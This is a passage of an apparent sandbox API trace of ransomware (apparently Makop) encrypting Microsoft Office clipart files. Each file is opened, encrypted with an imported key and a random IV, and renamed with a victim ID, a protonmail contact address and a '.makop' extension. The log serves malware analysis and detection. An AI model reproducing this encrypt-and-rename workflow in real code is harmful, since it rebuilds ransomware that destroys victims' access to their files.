[0132.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.465] GetProcessHeap () returned 0x48a0000 [0132.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.465] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.467] CloseHandle (hObject=0xf0) returned 1 [0132.467] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0132.467] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF") returned 63 [0132.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.568] GetProcessHeap () returned 0x48a0000 [0132.568] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.568] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.569] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.569] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.676] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.676] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.676] GetProcessHeap () returned 0x48a0000 [0132.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.676] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.676] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.677] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.677] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.678] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.678] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.678] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1348, lpOverlapped=0x0) returned 1 [0132.679] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1350, dwBufLen=0x1350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1350) returned 1 [0132.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1350, lpOverlapped=0x0) returned 1 [0132.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.680] SetEndOfFile (hFile=0xf0) returned 1 [0132.687] GetProcessHeap () returned 0x48a0000 [0132.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.687] GetProcessHeap () returned 0x48a0000 [0132.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.687] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.690] CloseHandle (hObject=0xf0) returned 1 [0132.690] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0132.690] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF") returned 63 [0132.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.691] GetProcessHeap () returned 0x48a0000 [0132.692] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.692] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.692] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.692] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.692] GetProcessHeap () returned 0x48a0000 [0132.692] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.692] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.692] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.692] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.718] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.719] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.719] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1720, lpOverlapped=0x0) returned 1 [0132.720] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720, dwBufLen=0x1720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720) returned 1 [0132.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1720, lpOverlapped=0x0) returned 1 [0132.721] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.721] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.721] SetEndOfFile (hFile=0xf0) returned 1 [0132.728] GetProcessHeap () returned 0x48a0000 [0132.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.729] GetProcessHeap () returned 0x48a0000 [0132.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.729] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.731] CloseHandle (hObject=0xf0) returned 1 [0132.731] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0132.731] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF") returned 63 [0132.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.732] GetProcessHeap () returned 0x48a0000 [0132.732] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.732] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.737] GetProcessHeap () returned 0x48a0000 [0132.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.737] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.737] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.739] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x154c, lpOverlapped=0x0) returned 1 [0132.740] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1550, dwBufLen=0x1550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1550) returned 1 [0132.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1550, lpOverlapped=0x0) returned 1 [0132.741] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.741] SetEndOfFile (hFile=0xf0) returned 1 [0132.748] GetProcessHeap () returned 0x48a0000 [0132.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.748] GetProcessHeap () returned 0x48a0000 [0132.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.748] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.750] CloseHandle (hObject=0xf0) returned 1 [0132.750] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0132.750] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF") returned 63 [0132.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.751] GetProcessHeap () returned 0x48a0000 [0132.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.751] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.756] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.757] GetProcessHeap () returned 0x48a0000 [0132.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.758] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.758] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13e8, lpOverlapped=0x0) returned 1 [0132.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0) returned 1 [0132.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 